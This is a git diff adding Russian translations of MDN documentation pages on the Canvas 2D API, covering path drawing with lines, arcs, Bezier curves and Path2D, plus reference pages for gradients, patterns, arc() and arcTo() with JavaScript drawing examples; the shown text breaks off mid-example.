Для рисования прямых линий используйте метод lineTo().

+ +
+
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
+
Рисует линию с текущей позиции до позиции, определенной x и y.
+
+ +

Этот метод принимает два аргумента x и y, которые являются координатами конечной точки линии. Начальная точка зависит от ранее нарисованных путей, причём конечная точка предыдущего пути является начальной точкой следующего и т. д. Начальная точка также может быть изменена с помощью метода moveTo().

+ +

Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+
+ +

Отрисовка начинается с вызова beginPath(), чтобы начать рисовать путь новой фигуры. Затем мы используем метод moveTo(), чтобы переместить начальную точку в нужное положение. Ниже рисуются две линии, которые образуют две стороны треугольника.

+ +

{{EmbedLiveSample("Линии", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

+ +

Вы заметите разницу между закрашенным и обведенным контуром треугольниками. Это, как упоминалось выше, из-за того, что фигуры автоматически закрываются, когда путь заполнен (т. е. закрашен), но не тогда, когда он очерчен (т. е. обведен контуром). Если бы мы не учли closePath() для очерченного треугольника, тогда только две линии были бы нарисованы, а не весь треугольник.

+ +

Дуги

+ +

Для рисования дуг и окружностей, используем методы arc() и arcTo().

+ +
+
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}
+
Рисуем дугу с центром в точке (x,y) радиусом radius, начиная с угла startAngle и заканчивая в endAngle в направлении против часовой стрелки anticlockwise (по умолчанию по ходу движения часовой стрелки).
+
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}
+
Рисуем дугу с заданными контрольными точками и радиусом, соединяя эти точки прямой линией.
+
+ +

Рассмотрим детальнее метод arc(), который имеет пять параметров: x и y — это координаты центра окружности, в которой должна быть нарисована дуга. radius — не требует пояснений. Углы startAngle и endAngle определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр anticlockwise — логическое значение, которое, если true, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.

+ +
+

Note: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: radians = (Math.PI/180)*degrees.

+
+ +

Следующий пример немного сложнее, чем мы рассматривали ранее. Здесь нарисованы 12 различных дуг с разными углами и заливками.

+ +

Два for цикла размещают дуги по столбцам и строкам. Для каждой дуги, мы начинаем новый контур, вызывая beginPath(). В этом коде каждый параметр дуги для большей ясности задан в виде переменной, но вам не обязательно делать так в реальных проектах.

+ +

Координаты x и y  должны быть достаточно ясны. radius and startAngle — фиксированы. endAngle начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.

+ +

Установка параметра clockwise определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.

+ +
+

Note: Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.

+
+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i<4;i++){
+      for(var j=0;j<3;j++){
+        ctx.beginPath();
+        var x = 25+j*50; // x coordinate
+        var y = 25+i*50; // y coordinate
+        var radius = 20; // Arc radius
+        var startAngle = 0; // Starting point on circle
+        var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
+        var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i>1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+
+ +

{{EmbedLiveSample("Дуги", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

+ +

Безье и квадратичные кривые

+ +

Следующим типом доступных контуров являются  кривые Безье, и к тому же доступны в кубическом и квадратичном вариантах. Обычно они используются при рисовании сложных составных фигур.

+ +
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}
+
Рисуется квадратичная кривая Безье с текущей позиции пера в конечную точку с координатами x и y, используя контрольную точку с координатами cp1x и cp1y.
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}
+
Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами x и y, используя две контрольные точки с координатами (cp1x, cp1y) и (cp2x, cp2y).
+
+ +

Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.

+ +

Параметры x и y в этих двух методах являются координатами конечной точки. cp1x и cp1y — координаты первой контрольной точки, а cp2x и cp2y — координаты второй контрольной точки.

+ +

Использование квадратичных или кубических кривых Безье может быть  спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.

+ +

В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.

+ +

Квадратичные кривые Безье

+ +

В этом примере многократно используются квадратичные кривые Безье для рисования речевой выноски.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+
+ +

{{EmbedLiveSample("Квадратичные_кривые_Безье", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

+ +

Кубические кривые Безье

+ +

В этом примере нарисовано сердце с использованием кубических кривых Безье.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Cubic curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+
+ +

{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

+ +

Прямоугольники

+ +

Все эти методы мы видели в  {{anch("Рисование прямоугольников")}}, которые рисуют прямоугольники сразу в canvas, так же есть метод rect(), который не отображает, а только добавляет контур рисования (path) заданного прямоугольника к последнему открытому контуру.

+ +
+
{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, width, height)")}}
+

+ Добавляет в path прямоугольник, верхний левый угол которого указан с помощью (x, y) с вашими width и height
+
+
+ +

Когда этот метод вызван, автоматически вызывается метод moveTo() с параметрами (x, y). Другими словами, позиция курсора устанавливается в начало добавленного прямоугольника.

+ +

Создание комбинаций

+ +

До сих пор, в каждом примере использовался только один тип функции контуров для каждой фигуры.
+ Однако, нет никаких ограничений на количество или типы контуров, которые вы можете использовать для создания фигур. Давайте в этом примере объединим все вышеперечисленные  функции контуров, чтобы создать набор очень известных игровых персонажей.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i<8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i<6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i<8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.quadraticCurveTo(x,y+height,x+radius,y+height);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.quadraticCurveTo(x+width,y+height,x+width,y+height-radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.quadraticCurveTo(x+width,y,x+width-radius,y);
+  ctx.lineTo(x+radius,y);
+  ctx.quadraticCurveTo(x,y,x,y+radius);
+  ctx.stroke();
+}
+
+ +

Конечное изображение выглядит так:

+ +

{{EmbedLiveSample("Создание_комбинаций", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}

+ +

Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства fillStyle в контексте рисования и использование функции утилиты (в данном случае roundedRect()). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.

+ +

Позже, в этом уроке, мы еще раз рассмотрим fillStyle, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.

+ +

Path2D объекты

+ +

Как мы видели в последнем примере, есть серия путей и команд для рисования объектов на вашем холсте. Чтобы упростить код и повысить производительность, объект {{domxref("Path2D")}}, доступный в последних версиях браузеров, позволяет вам кэшировать или записывать эти команды рисования. Вы можете быстро запускать свои пути.
+ Давайте посмотрим, как мы можем построить объект Path2D :

+ +
+
{{domxref("Path2D.Path2D", "Path2D()")}}
+
Конструктор Path2D() возвращает вновь созданный объект Path2D  необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути SVG path .
+
+ +
new Path2D();     // пустой path объект
+new Path2D(path); // копирование из другого path
+new Path2D(d);    // path из SVG
+ +

Все  методы path , такие как  moveTo,  rect,  arc, или quadraticCurveTo,  итп, которые мы уже знаем, доступны для объектов Path2D

+ +

API Path2D также добавляет способ комбинирования путей с использованием метода addPath. Это может быть полезно, если вы хотите, например, создавать объекты из нескольких компонентов.

+ +
+
{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}
+
Добавляет путь к текущему пути с необязательной матрицей преобразования.
+
+ +

Path2D пример

+ +

В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект Path2D, поэтому они доступны для последующего использования. С новым API Path2D несколько методов были обновлены, чтобы при необходимости принять объект Path2D для использования вместо текущего пути. Здесь stroke и fill используются с аргументом пути, например, для рисования обоих объектов на холст.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+
+ +

{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

+ +

Использование SVG путей

+ +

Еще одна мощная функция нового Canvas Path2D API использует данные пути SVG, SVG path data, для инициализации путей на вашем холсте. Это может позволить вам передавать данные пути и повторно использовать их как в SVG, так и в холсте.

+ +

Путь перемещается в точку (M10 10), а затем горизонтально перемещается на 80 пунктов вправо (h 80), затем на 80 пунктов вниз (v 80), затем на 80 пунктов влево (h -80), а затем обратно на start (z). 
+ Этот пример можно увидеть на странице  Path2D constructor.

+ +
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+ +
{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
diff --git a/files/ru/web/api/canvascapturemediastreamtrack/index.html b/files/ru/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..9705e65314 --- /dev/null +++ b/files/ru/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,61 @@ +--- +title: CanvasCaptureMediaStreamTrack +slug: Web/API/CanvasCaptureMediaStreamTrack +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef ("захват мультимедиа и потоки")}}
+ +

CanvasCaptureMediaStreamTrackИнтерфейс представляет собой видеодорожку, содержащуюся в {{domxref ("MediaStream")}}, генерируемую из {{HTMLElement ("canvas")}} после вызова {{domxref ("HTMLCanvasElement.captureStream ()")}}.

+ +

Часть API захвата мультимедиа и потоков.

+ +

Свойства

+ +

Этот интерфейс наследует свойства своего родителя, {{domxref ("MediaStreamTrack")}}.

+ +
+
{{domxref ("CanvasCaptureMediaStreamTrack.холст")}} {{readonlyInline}}
+
Возвращает объект {{domxref ("HTMLCanvasElement")}}, поверхность которого захватывается в режиме реального времени.
+
+ +

Методы

+ +

Этот интерфейс наследует методы своего родителя, {{domxref ("MediaStreamTrack")}}.

+ +
+
{{domxref ("CanvasCaptureMediaStreamTrack.requestFrame()")}}
+
Вручную заставляет кадр быть захваченным и отправленным в поток. Это позволяет приложениям, которые хотят непосредственно указать время захвата кадра, сделать это, если они указали a frameRateиз 0 при вызове {{domxref ("HTMLCanvasElement.captureStream", " captureStream ()")}}.
+
+ +

Технические характеристики

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName ('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}{{Spec2 ('Media Captiondom Elements')}}Исходное определение
+ +

Совместимость браузера

+ +
+ + +

{{Compat ("api.CanvasCaptureMediaStreamTrack")}}

+
+ +

Смотреть также

+ + diff --git a/files/ru/web/api/canvasgradient/index.html b/files/ru/web/api/canvasgradient/index.html new file mode 100644 index 0000000000..19b1442641 --- /dev/null +++ b/files/ru/web/api/canvasgradient/index.html @@ -0,0 +1,110 @@ +--- +title: CanvasGradient +slug: Web/API/CanvasGradient +tags: + - API + - Canvas + - CanvasGradient + - Градиенты + - Интерфейс + - Справка +translation_of: Web/API/CanvasGradient +--- +
{{APIRef("Canvas API")}}
+ +

Интерфейс CanvasGradient представляет собой непрозрачный объект, описывающий градиент. Он возвращается методами {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} и {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}.

+ +

Свойства

+ +

Representing an opaque object, there is no exposed property.

+ +

Методы

+ +

Не имеет наследованных методов.

+ +
+
{{domxref("CanvasGradient.addColorStop()")}}
+
Добавляет в градиент новый маркер, определяемый смещенем и цветом. Если смещение входдит за пределы 0 и 1, генерируется INDEX_SIZE_ERR. Если не удааётся обработать цвет как CSS {{cssxref("<color>")}}, генерируется SYNTAX_ERR.
+
+ +

Характеристики

+ + + + + + + + + + + + + + + + +
ХарактеристикаСостояниеКомментарий
{{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка4.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}} [1]9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.2")}} [1]{{CompatUnknown}}10.03.2
+
+ +

[1] До Gecko 5.0, (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2), указание некорректных значений при добавлении цветовых маркеров при вызове addColorStop() генерирует SYNTAX_ERR вместо INDEX_SIZE_ERR.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvaspattern/index.html b/files/ru/web/api/canvaspattern/index.html new file mode 100644 index 0000000000..9fc236b00a --- /dev/null +++ b/files/ru/web/api/canvaspattern/index.html @@ -0,0 +1,59 @@ +--- +title: CanvasPattern +slug: Web/API/CanvasPattern +translation_of: Web/API/CanvasPattern +--- +
{{APIRef("Canvas API")}}
+ +

CanvasPattern представляет собой интерфейс непрозрачного объекта, описывающего шаблон, который может быть представлен как картинка, canvas или видео.

+ +

CanvasPattern создаётся с помощью метода {{domxref("CanvasRenderingContext2D.createPattern()")}}.

+ +

Может быть использован как {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.

+ +

Свойства

+ +

Не имеет доступных свойств.

+ +

Методы

+ +

Не имеет унаследованных методов.

+ +
+
{{domxref("CanvasPattern.setTransform()")}} {{experimental_inline}}
+
Используется в качестве {{domxref("SVGMatrix")}} представления линейной трансформации.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "the-canvas-element.html#canvaspattern", "CanvasPattern")}}{{Spec2('HTML WHATWG')}}Метод setTransform() добавлен в v5.
+ +

Браузерная совместимость

+ +
+ + +

{{Compat("api.CanvasPattern")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/arc/index.html b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html new file mode 100644 index 0000000000..b6ab5c6600 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/arc/index.html @@ -0,0 +1,226 @@ +--- +title: CanvasRenderingContext2D.arc() +slug: Web/API/CanvasRenderingContext2D/arc +tags: + - API + - Рисование + - Рисование в 2d + - Функция + - Холст + - метод +translation_of: Web/API/CanvasRenderingContext2D/arc +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.arc() метод Canvas 2D API добавляет дугу к пути с центром (x, y) и с радиусом r  с началом в startAngle и с концом endAngle и с направлением против часовой стрелки (по умолчанию по часовой стрелке).

+ +

Синтаксис

+ +
void ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+ +

Параметры

+ +
+
x
+
X координата центра дуги.
+
y
+
Y координата центра дуги.
+
radius
+
Радиус.
+
startAngle
+
Угол начала дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.
+
endAngle
+
Угол завершения дуги. Измеряется по часовой стрелке от положительной оси Х, выражается в радианах.
+
anticlockwise {{optional_inline}}
+
Необязательный {{jsxref("Boolean")}}. Задаёт направление рисования дуги.
+ Если true - против часовой, false - по часовой.
+
+ +

Примеры

+ +

Использование метода arc

+ +

Ниже приведен пример простого кода который рисует круг.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени (убедитесь, что вы используете браузер, поддерживающий данное свойство - смотрите таблицу совместимости):

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Демонстрация разных форм дуг

+ +

В этом примере нарисованные разные формы чтобы показать возможности метода arc().

+ +
+
HTML
+ +
<canvas id="canvas" width="150" height="200"></canvas>
+
+ +
JavaScript
+
+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (i=0;i<4;i++){
+  for(j=0;j<3;j++){
+    ctx.beginPath();
+    var x              = 25+j*50;               // x coordinate
+    var y              = 25+i*50;               // y coordinate
+    var radius         = 20;                    // Arc radius
+    var startAngle     = 0;                     // Starting point on circle
+    var endAngle       = Math.PI+(Math.PI*j)/2; // End point on circle
+    var anticlockwise  = i%2==1;                // Draw anticlockwise
+
+    ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise);
+
+    if (i>1){
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}
+ +

{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Примечания относительно Gecko

+ +

Начиная с Gecko 2.0 {{geckoRelease("2.0")}}:

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html new file mode 100644 index 0000000000..53a13ff758 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html @@ -0,0 +1,256 @@ +--- +title: CanvasRenderingContext2D.arcTo() +slug: Web/API/CanvasRenderingContext2D/arcTo +tags: + - API + - Canvas + - Method +translation_of: Web/API/CanvasRenderingContext2D/arcTo +--- +
{{APIRef}}
+ +

В Canvas 2D API есть метод CanvasRenderingContext2D.arcTo(). Он добавляет дугу к контуру (path) с заданными контрольными точками и радиусом, соединяя их прямой линией с предыдущей точкой контура.

+ +

Обычно метод используется для скругления углов.

+ +
+

Примечание: Помните, что вы можете получить неожиданный результат при использовании большого радиуса: соединтельная линия дуги будет идти в любом направлении, в котором она должна соответствовать указанному радиусу.

+
+ +

Синтаксис

+ +
void ctx.arcTo(x1, y1, x2, y2, radius);
+
+ +

Параметры

+ +
+
x1
+
Координата x первой контрольной точки.
+
y1
+
Координата y первой контрольной точки.
+
x2
+
Координата x второй контрольной точки.
+
y2
+
Координата y второй контрольной точки.
+
radius
+
Радиус дуги. Не может быть отрицательным.
+
+ +

Примеры

+ +

Как работает arcTo

+ +

Один из способов понять как работает arcTo() - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без arcTo() эти два сегмента образовали бы остый угол: arcTo() cоздаёт дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Касательная линия
+ctx.beginPath();
+ctx.strokeStyle = 'gray';
+ctx.moveTo(200, 20);
+ctx.lineTo(200, 130);
+ctx.lineTo(50, 20);
+ctx.stroke();
+
+// Дуга
+ctx.beginPath();
+ctx.strokeStyle = 'black';
+ctx.lineWidth = 5;
+ctx.moveTo(200, 20);
+ctx.arcTo(200,130, 50,20, 40);
+ctx.stroke();
+
+// Начальная точка
+ctx.beginPath();
+ctx.fillStyle = 'blue';
+ctx.arc(200, 20, 5, 0, 2 * Math.PI);
+ctx.fill();
+
+// Контрольные точки
+ctx.beginPath();
+ctx.fillStyle = 'red';
+ctx.arc(200, 130, 5, 0, 2 * Math.PI); // Первая контрольная точка
+ctx.arc(50, 20, 5, 0, 2 * Math.PI);   // Вторая контрольная точка
+ctx.fill();
+ +

Результат

+ +

В этом примере контур, созданный с помощью arcTo() жирный и чёрный. Касательная линия серия, контрольные точки красные, а начальная точка синяя. 

+ +

{{ EmbedLiveSample('Как_работает_arcTo', 315, 165) }}

+ +

Создание скругленного угла

+ +

В этом примере создаётся скруглённый угол с использованием arcTo(). Это ещё один метод, который часто используется.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +

Дуга начинается в точке, заданной в moveTo(): (230, 20). Она сформирована так, чтобы соответствовать точкам на (90, 130) и (20, 20) с радиусом 50. Метод lineTo() соединяет дугу с (20, 20) прямой линией. Заметьте, что вторая контрольная точка дуги и точка, заданная в lineTo() одинаковые, что создаёт абсолютно гладкий угол.

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const p0 = { x: 230, y: 20  }
+const p1 = { x: 90,  y: 130 }
+const p2 = { x: 20,  y: 20  }
+
+const labelPoint = function (p) {
+  const offset = 15;
+  ctx.fillText('(' + p.x + ',' + p.y + ')', p.x + offset, p.y + offset);
+}
+
+ctx.beginPath();
+ctx.moveTo(p0.x, p0.y);
+ctx.arcTo(p1.x, p1.y, p2.x, p2.y, 50);
+ctx.lineTo(p2.x, p2.y);
+
+labelPoint(p0);
+labelPoint(p1);
+labelPoint(p2);
+
+ctx.stroke();
+ +

Результат

+ +

{{ EmbedLiveSample('Создание_скругленного_угла', 315, 165) }}

+ +

Результат с большим радиусом

+ +

Если вы используете относительно большой радиус, дуга может появиться в том месте, где вы её не ожидаете. В данном примере соединительная линия дуги идёт вверху, а не внизу. Это происходит потому что радиус слишком большой, чтобы уместить дугу между точками.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(180, 90);
+ctx.arcTo(180,130, 110,130, 130);
+ctx.lineTo(110, 130);
+ctx.stroke();
+ +

Результат

+ +

{{ EmbedLiveSample('Результат_с_большим_радиусом', 315, 165) }}

+ +

Живая демонстрация

+ +

Более сложная демонстрация метода. Вы можете поиграть с диапазоном ввода, чтобы увидеть, как изменяется дуга.

+ +

HTML

+ +
<div>
+  <label for="radius">Radius: </label>
+  <input name="radius"  type="range" id="radius" min=0 max=100 value=50>
+  <label for="radius"  id="radius-output">50</label>
+</div>
+<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx    = canvas.getContext('2d');
+
+const controlOut = document.getElementById('radius-output');
+const control    = document.getElementById('radius');
+      control.oninput = () => {
+          controlOut.textContent = r = control.value;
+      };
+
+const mouse = { x: 0, y: 0 };
+
+let   r  = 100; // Radius
